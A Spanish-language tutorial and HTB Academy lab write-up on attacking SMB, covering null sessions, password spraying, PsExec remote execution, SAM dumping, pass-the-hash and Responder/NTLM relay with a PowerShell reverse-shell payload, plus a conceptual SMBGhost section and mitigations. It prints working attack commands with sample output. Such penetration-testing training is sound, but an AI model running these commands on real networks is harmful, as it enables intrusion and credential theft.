¿Qué es SMB?
Imagina que en una oficina hay un armario central donde los empleados guardan y comparten documentos, y también una impresora que todos usan. Cualquier persona con llave puede entrar, tomar archivos o imprimir. SMB (Server Message Block) es exactamente eso, pero en una red informática: un protocolo que permite a distintas máquinas compartir archivos, carpetas e impresoras entre sí de forma transparente.
Lo que hace a SMB interesante desde el punto de vista ofensivo es que, a lo largo de su historia, ha tenido llaves demasiado fáciles de copiar, armarios mal cerrados y a veces incluso la puerta completamente abierta. Entender cómo funciona es el primer paso para atacarlo (y defenderlo).

Flujo normal de acceso SMB:
Cliente Windows/Linux
│
│ ¿Tienes credenciales? → SÍ
▼
┌─────────────┐ Puerto 445 (TCP/IP directo)
│ SMB Server │ ◄────────────────────────────────
│ (Windows / │ Puerto 139 (NetBIOS sobre TCP)
│ Samba) │ ◄────────────────────────────────
└─────────────┘
│
▼
Acceso a shares: ADMIN$, C$, IPC$, carpetas personalizadas
| Concepto | Descripción |
|---|---|
| Puerto 445 | SMB directo sobre TCP/IP (Windows 2000 en adelante) |
| Puerto 139 | SMB sobre NetBIOS (sistemas legacy o failover) |
| Samba | Implementación open-source de SMB para Linux/Unix |
| MSRPC | Microsoft Remote Procedure Call — viaja encima de SMB por named pipes |
| IPC$ | Share especial para comunicación entre procesos (RPC) |
| ADMIN$ | Share administrativo que apunta a C:\Windows |
| NetNTLM | Hash de autenticación que SMB intercambia durante el login |
SMB puede correr con o sin NetBIOS. Si el target es Windows moderno, casi siempre estará en el 445. Si ves el 139 abierto también, el sistema soporta ambos modos.
Introducción
Null Session
Acceso anónimo sin credenciales para enumerar shares, usuarios y políticas del servidor.
Password Spraying
Prueba una contraseña común contra una lista de usuarios para evitar bloqueos de cuenta.
Remote Code Execution
Ejecución remota de comandos usando shares administrativos y el Service Control Manager.
SAM Database Dump
Extracción de hashes locales desde la base de datos SAM con privilegios de administrador.
Pass-the-Hash
Autenticación SMB usando el hash NTLM directamente, sin necesidad de crackear la contraseña.
Forced Authentication / NTLM Relay
Envenenamiento LLMNR/NBT-NS para capturar o retransmitir hashes NetNTLM hacia otros hosts.
Enumeración
Antes de atacar cualquier servicio, necesitamos saber con qué estamos tratando: versión, sistema operativo, nombre del host y firma SMB. Todo eso lo obtenemos con un escaneo Nmap apuntando a los puertos 139 y 445.
╰─ sudo nmap 10.129.14.128 -sV -sC -p139,445
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-19 15:15 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00024s latency).
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
MAC Address: 00:00:00:00:00:00 (VMware)
Host script results:
|_nbstat: NetBIOS name: HTB, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-09-19T13:16:04
|_ start_date: N/A
| Flag | Descripción |
|---|---|
-sV |
Detecta versiones del servicio |
-sC |
Ejecuta scripts NSE por defecto |
-p139,445 |
Escanea solo los puertos SMB relevantes |
Con este output ya sabemos tres cosas críticas: la versión exacta de Samba (4.6.2), el hostname (HTB) y que el sistema operativo es Linux por la implementación Samba. Además, el script smb2-security-mode nos dice que la firma SMB no es obligatoria — dato clave para ataques de relay más adelante.
Cuando el target es Windows, Nmap no suele mostrar la versión exacta del OS en los scripts SMB. Para eso hay que combinar este escaneo con
--script smb-os-discoveryo con herramientas como CrackMapExec.
Explotación
Null Session
La null session es el equivalente a entrar al armario de la oficina porque alguien olvidó ponerle llave. SMB permite configurarse para aceptar conexiones sin credenciales — sin usuario ni contraseña — y cuando eso ocurre, podemos enumerar casi todo: shares, usuarios, grupos, políticas y servicios.
Null Session — Flujo de autenticación:
Atacante Servidor SMB
│ │
│ Session Request (user="", pass="") │
│ ──────────────────────────────────► │
│ │
│ Session Granted ✓ │
│ ◄────────────────────────────────── │
│ │
│ Enumerar shares, usuarios, RPC... │
│ ──────────────────────────────────► │
Listado de shares con smbclient
El flag -N elimina el prompt de contraseña (null session) y -L lista los shares disponibles.
╰─ smbclient -N -L //10.129.14.128
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
notes Disk CheckIT
IPC$ IPC IPC Service (DEVSM)
SMB1 disabled no workgroup available
| Flag | Descripción |
|---|---|
-N |
No solicitar contraseña (null session) |
-L |
Listar los shares disponibles en el host |
Enumeración de permisos con smbmap
smbmap va un paso más allá: además de listar los shares, muestra los permisos reales que tenemos sobre cada uno.
╰─ smbmap -H 10.129.14.128
[+] IP: 10.129.14.128:445 Name: 10.129.14.128
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY IPC Service (DEVSM)
notes READ, WRITE CheckIT
| Flag | Descripción |
|---|---|
-H |
Especifica el host objetivo |
-r |
Navega recursivamente por el contenido del share |
-R |
Igual que -r pero completamente recursivo |
El share notes tiene permisos READ, WRITE. Eso significa que podemos no solo ver archivos, sino también subir nuestros propios.
╰─ smbmap -H 10.129.14.128 -r notes
[+] Guest session IP: 10.129.14.128:445 Name: 10.129.14.128
Disk Permissions Comment
---- ----------- -------
notes READ, WRITE
.\notes\*
dr--r--r 0 Mon Nov 2 00:57:44 2020 .
dr--r--r 0 Mon Nov 2 00:57:44 2020 ..
fw--w--w 116 Tue Apr 16 07:43:19 2019 note.txt
fr--r--r 0 Fri Feb 22 07:43:28 2019 SDT65CB.tmp
dr--r--r 0 Mon Nov 2 00:54:57 2020 WindowsImageBackup
╰─ smbmap -H 10.129.14.128 --download "notes\note.txt"
[+] Starting download: notes\note.txt (116 bytes)
[+] File output to: /htb/10.129.14.128-notes_note.txt
╰─ smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt"
[+] Starting upload: test.txt (20 bytes)
[+] Upload complete.
Un share con permisos de escritura es un vector directo para subir payloads, WebShells o archivos maliciosos que podrían ser ejecutados por otros usuarios o procesos del sistema.
Enumeración RPC con rpcclient
El protocolo RPC viaja encima de SMB y permite ejecutar funciones remotas. Con una null session podemos enumerar usuarios del dominio directamente:
╰─ rpcclient -U'%' 10.10.110.17
rpcclient $> enumdomusers
user:[mhope] rid:[0x641]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]
| Parte | Descripción |
|---|---|
-U'%' |
Null session: usuario vacío, contraseña vacía |
enumdomusers |
Enumera todos los usuarios del dominio |
Automatización con enum4linux-ng
enum4linux-ng es la versión moderna (Python) de la clásica herramienta en Perl. Automatiza todas las consultas anteriores en un solo comando:
╰─ ./enum4linux-ng.py 10.10.11.45 -A -C
ENUM4LINUX - next generation
==========================
| Target Information |
==========================
[*] Target ........... 10.10.11.45
[*] Username ......... ''
[*] Password ......... ''
====================================
| Service Scan on 10.10.11.45 |
====================================
[*] SMB is accessible on 445/tcp
[*] SMB over NetBIOS is accessible on 139/tcp
===================================================
| NetBIOS Names and Workgroup for 10.10.11.45 |
===================================================
[*] Got domain/workgroup name: WORKGROUP
[*] Full NetBIOS names information:
- WIN-752039204 <00> - B <ACTIVE> Workstation Service
- WORKGROUP <00> - B <ACTIVE> Workstation Service
- WIN-752039204 <20> - B <ACTIVE> Workstation Service
- MAC Address = 00-0C-29-D7-17-DB
| Flag | Descripción |
|---|---|
-A |
Ejecuta todas las enumeraciones disponibles |
-C |
Incluye enumeración de cuentas de equipo (computers) |
Password Spraying
Cuando la null session está deshabilitada, necesitamos credenciales. El brute force clásico (muchas contraseñas contra una cuenta) es arriesgado porque bloquea cuentas. El password spraying invierte la lógica: una sola contraseña contra muchos usuarios.
Diferencia de estrategia:
Brute Force:
usuario_A → pass1, pass2, pass3 ... passN → RIESGO DE LOCKOUT
Password Spray:
usuario_A → "Company01!" → falla
usuario_B → "Company01!" → falla
usuario_C → "Company01!" → ✓ VÁLIDO
usuario_D → "Company01!" → falla
(esperar 30-60 min antes de otro intento)
Con CrackMapExec podemos apuntar a un host con una lista de usuarios y una sola contraseña:
╰─ crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!' --local-auth
SMB 10.10.110.17 445 WIN7BOX [*] Windows 10.0 Build 18362 (name:WIN7BOX) (signing:False) (SMBv1:False)
SMB 10.10.110.17 445 WIN7BOX [-] WIN7BOX\Administrator:Company01! STATUS_LOGON_FAILURE
SMB 10.10.110.17 445 WIN7BOX [-] WIN7BOX\jrodriguez:Company01! STATUS_LOGON_FAILURE
SMB 10.10.110.17 445 WIN7BOX [-] WIN7BOX\admin:Company01! STATUS_LOGON_FAILURE
SMB 10.10.110.17 445 WIN7BOX [-] WIN7BOX\fsmith:Company01! STATUS_LOGON_FAILURE
SMB 10.10.110.17 445 WIN7BOX [+] WIN7BOX\jurena:Company01! (Pwn3d!)
| Flag | Descripción |
|---|---|
smb |
Protocolo objetivo |
-u <archivo> |
Lista de usuarios a probar |
-p <contraseña> |
Contraseña única a sprayer |
--local-auth |
Autenticación local (para equipos fuera del dominio) |
--continue-on-success |
No detener al encontrar la primera credencial válida |
El indicador
(Pwn3d!)en CrackMapExec significa que el usuario tiene privilegios de administrador local sobre el target — no solo que las credenciales son correctas.
Espera mínimo 30-60 minutos entre rondas de spraying. Dos o tres intentos por cuenta son lo razonable si no conoces el umbral de lockout del entorno.
Remote Code Execution
Con credenciales de administrador sobre un Windows, SMB se convierte en un canal de ejecución remota de comandos. La herramienta detrás de esto es PsExec (o sus implementaciones en Python de Impacket), que funciona en tres pasos:
Flujo de PsExec:
Atacante Target Windows
│ │
│ 1. Sube binario al ADMIN$ │
│ ──────────────────────────► │
│ │
│ 2. Registra como servicio │
│ (DCE/RPC → SCM API) │
│ ──────────────────────────► │
│ │
│ 3. Servicio crea named pipe│
│ y ejecuta comandos │
│ ◄────────────────────────── │
│ │
│ Shell interactiva como │
│ SYSTEM │
Con impacket-psexec:
╰─ impacket-psexec administrator:'Password123!'@10.10.110.17
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.10.110.17.....
[*] Found writable share ADMIN$
[*] Uploading file EHtJXgng.exe
[*] Opening SVCManager on 10.10.110.17.....
[*] Creating service nbAc on 10.10.110.17.....
[*] Starting service nbAc.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19041.1415]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami && hostname
nt authority\system
WIN7BOX
Con CrackMapExec (múltiples hosts a la vez):
╰─ crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec
SMB 10.10.110.17 445 WIN7BOX [*] Windows 10.0 Build 19041 (name:WIN7BOX) (signing:False) (SMBv1:False)
SMB 10.10.110.17 445 WIN7BOX [+] .\Administrator:Password123! (Pwn3d!)
SMB 10.10.110.17 445 WIN7BOX [+] Executed command via smbexec
SMB 10.10.110.17 445 WIN7BOX nt authority\system
| Flag | Descripción |
|---|---|
-x |
Ejecuta un comando CMD |
-X |
Ejecuta un comando PowerShell |
--exec-method |
Método de ejecución: smbexec, atexec o wmiexec |
Si
atexec(método por defecto de CME) falla, intenta explícitamente con--exec-method smbexec. Ambos generan artefactos distintos en el sistema — tenerlos en cuenta para el reporte.
SAM Database Dump
La base de datos SAM (Security Account Manager) almacena los hashes NTLM de todos los usuarios locales del sistema Windows. Con acceso de administrador podemos volcarla remotamente en segundos.
╰─ crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam
SMB 10.10.110.17 445 WIN7BOX [*] Windows 10.0 Build 18362 (name:WIN7BOX) (signing:False) (SMBv1:False)
SMB 10.10.110.17 445 WIN7BOX [+] WIN7BOX\administrator:Password123! (Pwn3d!)
SMB 10.10.110.17 445 WIN7BOX [+] Dumping SAM hashes
SMB 10.10.110.17 445 WIN7BOX Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
SMB 10.10.110.17 445 WIN7BOX Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.10.110.17 445 WIN7BOX jurena:1001:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
SMB 10.10.110.17 445 WIN7BOX demouser:1002:aad3b435b51404eeaad3b435b51404ee:4c090b2a4a9a78b43510ceec3a60f90b:::
SMB 10.10.110.17 445 WIN7BOX [+] Added 6 SAM hashes to the database
El formato de cada hash es usuario:RID:LM_hash:NT_hash:::. La parte que nos interesa es el NT hash (el último antes de :::), que podemos usar para crackear o para Pass-the-Hash.
Los hashes SAM son locales. Para obtener hashes de dominio necesitamos volcar el
NTDS.ditdel Domain Controller, no el SAM.
Pass-the-Hash (PtH)
Si obtuvimos un hash NTLM pero no pudimos crackearlo, no importa. El protocolo NTLM está diseñado de tal manera que el hash en sí es la “contraseña” — no necesitamos el texto plano. Con Pass-the-Hash usamos ese hash directamente para autenticarnos.
Autenticación normal vs. Pass-the-Hash:
Normal:
Usuario escribe "Password123!" → Windows lo hashea → NTLM Challenge → Autenticado
PtH:
Atacante usa "2B576ACBE6BCFDA7294D6BD18041B8FE" directamente → NTLM Challenge → Autenticado
(Nunca necesitó el texto plano)
╰─ crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE
SMB 10.10.110.17 445 WIN7BOX [*] Windows 10.0 Build 19041 (name:WIN7BOX) (signing:False) (SMBv1:False)
SMB 10.10.110.17 445 WIN7BOX [+] WIN7BOX\Administrator:2B576ACBE6BCFDA7294D6BD18041B8FE (Pwn3d!)
| Flag | Descripción |
|---|---|
-H |
Hash NTLM a usar en lugar de contraseña en texto plano |
Pass-the-Hash funciona contra NTLM pero no directamente contra Kerberos. En entornos de dominio modernos con Kerberos habilitado, puede ser necesario usar técnicas como Overpass-the-Hash o Pass-the-Ticket.
Forced Authentication / NTLM Relay
Este es el ataque más sofisticado de la lista. En lugar de crackear credenciales, las fabricamos: envenenamos la resolución de nombres en la red para que una víctima intente autenticarse contra nosotros, capturamos su hash NetNTLM y lo crackeamos o retransmitimos.
Archivo hosts → DNS local → DNS del servidor → LLMNR/NBT-NS (multicast)
Victim: "¿Quién es \\mysharefoder?" (typo del usuario)
│
│ Nadie responde por DNS (el nombre no existe)
│
▼
Broadcast LLMNR/NBT-NS a toda la red
│
▼
Atacante: "¡Yo soy \\mysharefoder! Conéctate a mí."
│
▼
Víctima envía challenge NTLM → Atacante captura el hash
Paso 1 — Captura del hash con Responder
╰─ sudo responder -I ens33
[+] Poisoners: LLMNR [ON], NBT-NS [ON], DNS/MDNS [ON]
[+] SMB server [ON]
[*] [LLMNR] Poisoned answer sent to 10.10.110.17 for name mysharefoder
[SMB] NTLMv2-SSP Username : WIN7BOX\demouser
[SMB] NTLMv2-SSP Hash : demouser::WIN7BOX:997b18cc61099ba2:3CC46296B0CCFC7A231D918AE1DAE521:01010...
| Flag | Descripción |
|---|---|
-I |
Interfaz de red a escuchar |
Paso 2a — Crackear el hash con hashcat
╰─ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
ADMINISTRATOR::WIN-487IMQOIA8E:997b18cc61099ba2:...:P@ssword
Status: Cracked
Hash.Name: NetNTLMv2
| Flag | Descripción |
|---|---|
-m 5600 |
Modo NetNTLMv2 |
Los hashes NetNTLMv2 son salteados (cada captura es distinta aunque la contraseña sea la misma). Por eso si capturas el mismo usuario varias veces, los hashes serán diferentes — pero todos representan la misma contraseña.
Paso 2b — Relay del hash con impacket-ntlmrelayx
Si el hash es difícil de crackear, podemos retransmitirlo directamente a otro host. Primero desactivamos el servidor SMB de Responder para que el relay funcione:
╰─ cat /etc/responder/Responder.conf | grep 'SMB ='
SMB = Off
Luego ejecutamos el relay:
╰─ impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146
[*] Running in relay mode to single host
[*] SMBD-Thread-3: Connection from /ADMINISTRATOR@10.10.110.1 controlled
[*] Authenticating against smb://10.10.110.146 as /ADMINISTRATOR SUCCEED
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
demouser:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
| Flag | Descripción |
|---|---|
--no-http-server |
Desactiva el servidor HTTP del relay |
-smb2support |
Soporte para SMBv2 |
-t |
Host objetivo al que se retransmite la autenticación |
-c |
Comando a ejecutar en el target tras autenticación exitosa |
Payload de reverse shell (opcional)
Si queremos una shell en lugar del volcado SAM, generamos un payload PowerShell en revshells.com y lo pasamos con -c:
╰─ impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e <BASE64_PAYLOAD>'
[*] SMBD-Thread-3: Connection from /ADMINISTRATOR controlled
[*] Authenticating against smb://192.168.220.146 SUCCEED
╰─ nc -lvnp 9001
connect to [10.10.110.133] from (UNKNOWN) [10.10.110.146] 52471
PS C:\Windows\system32> whoami;hostname
nt authority\system
WIN11BOX
El relay NTLM solo funciona si la firma SMB (
SMB signing) está deshabilitada o configurada como “not required” en el target. Recuerda que Nmap lo indicó durante la enumeración inicial.
Resumen
Cómo funciona la resolución de nombres en Windows:
[Nmap] Descubrir puerto 445/139
│
▼
Null Session?
│ │
SÍ NO
│ │
│ ▼
│ Password Spraying → Credenciales válidas
│ │
▼ ▼
Enum completa: shares, usuarios, RPC
│
▼
¿Admin local?
│ │
SÍ NO
│ │
▼ ▼
RCE Responder (captura hashes de red)
SAM │
│ ▼
▼ Crackear con hashcat
PtH ◄────────────── │
│ │
▼ ▼
Movimiento lateral Relay → SAM dump / Shell
| Técnica | Requisito | Impacto | Ruido |
|---|---|---|---|
| Null Session | SMB mal configurado (sin auth) | Enumeración completa | Bajo |
| Password Spraying | Lista de usuarios + contraseña común | Acceso inicial | Medio |
| RCE (PsExec/SMBExec) | Admin local + share ADMIN$ accesible | SYSTEM shell | Alto |
| SAM Dump | Admin local | Todos los hashes locales | Medio |
| Pass-the-Hash | Hash NTLM válido | Movimiento lateral | Bajo |
| Forced Auth / NTLM Relay | Red activa + SMB signing deshabilitado | SAM dump / Shell | Medio |
Laboratorio - HTB Academy: Attacking SMB
Pregunta 1: ¿Cuál es el nombre del share con permisos de lectura?
Primero realizo un escaneo de puertos y servicios para tener clara la superficie de ataque
sudo nmap -sCV -p- -Pn -n --min-rate=5000 10.129.59.114

El segundo paso fue listar todos los shares disponibles usando una null session:
smbclient -N -L //10.129.203.6

Veo tres shares: print$, [CENSURADO] e IPC$. Para saber cuál es accesible, confirmo los permisos exactos con smbmap:
smbmap -H 10.129.203.6

El share *** aparece con READ ONLY. Los demás están sin acceso o son shares administrativos de IPC.
🚩 Flag 1:
[CENSURADO]
Pregunta 2: ¿Cuál es la contraseña del usuario “jason”?
Con el share identificado, intenté acceder de forma anónima para inspeccionar su contenido:
smbclient -N //10.129.203.6/<SHARE_CENSURADO>
Hay una clave privada SSH (id_rsa) dentro del share. Sin embargo, al intentar descargarla:
get id_rsa

El share en sí es visible de forma anónima, pero los permisos a nivel de archivo bloquean el acceso.
READ ONLYen el share no garantiza acceso a todos sus archivos. También intenté montar el share localmente y leer consudo cat, pero el resultado fue el mismo — las restricciones son del lado del servidor remoto.
La conclusión era que necesitaba credenciales.
Como la pregunta referenciaba explícitamente al usuario jason , apliqué password spraying con la lista de contraseñas proporcionadas por HTB y también reutilicé passwords obtenidos del servicio FTP que el mismo entorno exponía. Tras varios intentos, obtuve las credenciales válidas:
crackmapexec smb 10.129.203.6 -u jason -p '**********' --local-auth

🚩 Flag 2:
[CENSURADO]
Cuando un entorno tiene múltiples servicios expuestos (FTP, SMB, SSH), siempre intenta reutilizar las credenciales o wordlists encontradas en un servicio contra los demás. La reutilización de contraseñas es uno de los vectores más frecuentes en HTB y en entornos reales.
Pregunta 3: Login como “jason” via SSH y leer flag.txt
Con las credenciales válidas pude autenticarme al share y descargar la clave privada:
smbclient --user jason //10.129.203.6/<SHARE_CENSURADO>
Password: <CONTRASEÑA_CENSURADA>
smb: \> get id_rsa

Intenté usar la clave directamente para conectarme por SSH:
ssh -i id_rsa jason@10.129.203.6

SSH rechazó la clave porque los permisos del archivo eran 0644 (legible por cualquier usuario del sistema). Las claves privadas deben ser estrictamente privadas. Es decir, solo el dueño puede leerlas. La corrección es obvia:
chmod 600 id_rsa
Con los permisos corregidos, el login fue exitoso:
ssh -i id_rsa jason@10.129.203.6
jason@ubuntu:~$ whoami
jason@ubuntu:~$ cat flag.txt

🚩 Flag 3:
[CENSURADO]
Vulnerabilidades recientes de SMB
A lo largo de los años, SMB ha acumulado un historial considerable de vulnerabilidades críticas — desde EternalBlue (CVE-2017-0144), que fue el motor detrás de WannaCry, hasta fallos más recientes que siguen afectando entornos Windows modernos. La naturaleza del protocolo, diseñado para ser accesible y negociable en red, lo convierte en un objetivo permanente: cualquier error en el proceso de negociación o en el manejo de datos puede derivar en ejecución remota de código con privilegios de sistema.
El siguiente CVE es un ejemplo claro de cómo un error aparentemente técnico y bajo nivel — un desbordamiento de entero — puede otorgarle a un atacante no autenticado el control total de una máquina remota.
CVE-2020-0796 — SMBGhost
Servicio afectado: SMB v3.1.1
Sistemas vulnerables: Windows 10 versiones 1903 y 1909
Impacto: Ejecución remota de código (RCE) sin autenticación
CVSS Score: 10.0 (Crítico)
¿Qué es SMBGhost?
Imagina que tienes un almacén con un montacargas automatizado. El sistema espera recibir cajas de un tamaño máximo definido. Si alguien envía una caja más grande de lo que el sistema puede calcular, el software no lo detecta — y en lugar de negarse a procesarla, el montacargas choca contra la estructura del almacén, rompiendo paredes que no debía tocar.
Eso es SMBGhost: un integer overflow (desbordamiento de entero) en el driver de SMB que ocurre durante el procesamiento de mensajes comprimidos. Cuando los datos enviados superan el límite de la variable entera que los calcula, el valor “da la vuelta” y se interpreta como positivo aunque sea inválido. El resultado: se escribe fuera del buffer permitido, sobreescribiendo instrucciones del CPU.
El exploit aprovecha la funcionalidad de compresión introducida en SMBv3.1.1. Si el servidor tiene el puerto TCP/445 expuesto y acepta compresión, es potencialmente vulnerable.
La vulnerabilidad a nivel conceptual
El problema reside en una función del driver srv2.sys que no valida el tamaño de los datos recibidos durante la negociación de sesión SMB. Al no existir un bounds check correcto, un paquete comprimido malformado puede desbordar el buffer y sobreescribir regiones de memoria adyacentes — incluyendo instrucciones que el CPU ejecutará a continuación.
┌─────────────────────────────────────────────────────────────────┐
│ FLUJO NORMAL DE SMBv3.1.1 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ Cliente ──► Negotiate Request ──► Servidor │
│ Servidor ──► Negotiate Response (acuerdan compresión) ──► OK │
│ Cliente ──► Datos comprimidos (tamaño válido) ──► Procesado ✓ │
│ │
└─────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────┐
│ FLUJO CON SMBGhost │
├─────────────────────────────────────────────────────────────────┤
│ │
│ Atacante ──► Negotiate Request (manipulado) ──► Servidor │
│ Servidor ──► Negotiate Response ──► OK │
│ Atacante ──► Paquete comprimido MALFORMADO ──► Servidor │
│ │ │
│ ▼ │
│ [Integer Overflow en srv2.sys] │
│ │ │
│ ▼ │
│ Buffer desbordado → Instrucciones CPU sobreescritas │
│ │ │
│ ▼ │
│ CPU ejecuta instrucciones del atacante (RCE) 💀 │
│ │
└─────────────────────────────────────────────────────────────────┘
Cadena de ataque en dos ciclos
El exploit de SMBGhost opera en dos fases encadenadas:
Ciclo 1 — Establecer condiciones para el overflow:
| Paso | Acción | Categoría |
|---|---|---|
| 1 | El atacante envía una Negotiate Request manipulada al servidor SMB | Source |
| 2 | Los paquetes comprimidos se procesan según las respuestas de protocolo negociadas | Process |
| 3 | El proceso corre con privilegios de SYSTEM o al menos de administrador | Privileges |
| 4 | El proceso local es el destino que debe procesar los paquetes comprimidos | Destination |
Ciclo 2 — Trigger de RCE:
| Paso | Acción | Categoría |
|---|---|---|
| 5 | Los datos del ciclo anterior sirven como fuente para el segundo ciclo | Source |
| 6 | El integer overflow ocurre: el buffer sobreescrito contiene las instrucciones del atacante, que el CPU ejecuta | Process |
| 7 | Se heredan los mismos privilegios del servidor SMB | Privileges |
| 8 | El sistema remoto del atacante es el destino: se le otorga acceso al sistema local | Destination |
Aunque la mecánica interna del exploit involucra ingeniería inversa y conocimiento de desarrollo de exploits a nivel de kernel, el concepto de ataque sigue el mismo patrón que cualquier buffer overflow: controlar qué instrucciones ejecuta el CPU reemplazando datos legítimos por los propios. {: .prompt-info }
¿Por qué es tan crítico?
- Sin autenticación: el atacante no necesita credenciales. Basta con acceso al puerto TCP/445.
- Privilegios de SYSTEM: la ejecución ocurre en el contexto del driver del kernel — el nivel más alto posible.
- Propagación lateral: en redes corporativas donde SMB está abierto internamente, un único host comprometido puede convertirse en punto de pivot hacia toda la red.
Si estás practicando este CVE, puedes encontrar máquinas con este vector en Hack The Box. El recurso ippsec.rocks indexa walkthroughs por técnica — búsca “SMBGhost” o “CVE-2020-0796” para encontrar resoluciones guiadas.
Mitigación
Microsoft lanzó el parche de seguridad MS20-051 en marzo de 2020. La mitigación inmediata (si no se podía parchear) consistía en deshabilitar la compresión SMBv3 mediante:
shell
╰─ Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
Deshabilitar la compresión SMBv3 no requiere reinicio, pero sí afecta el rendimiento en transferencias de archivos grandes. Siempre priorizar el parche oficial sobre workarounds.
Conclusión
SMB es uno de los protocolos más atacados en entornos Windows corporativos, y no es casualidad: está profundamente integrado en la infraestructura, corre en casi todos los hosts y lleva décadas acumulando configuraciones incorrectas. Una null session abierta puede darte el directorio de usuarios del dominio en segundos. Un hash NetNTLM capturado puede abrirte una shell SYSTEM sin crackear nada. Un share con escritura puede ser el punto de partida de un ransomware.
Las contramedidas básicas son conocidas pero sistemáticamente ignoradas: deshabilitar SMBv1, requerir firma SMB en todos los hosts, no usar la misma contraseña de administrador local en toda la flota, y monitorear eventos 4625 (fallos de logon) y 4648 (uso explícito de credenciales) en el SIEM. La brecha entre saber las contramedidas y aplicarlas es donde vive el atacante.





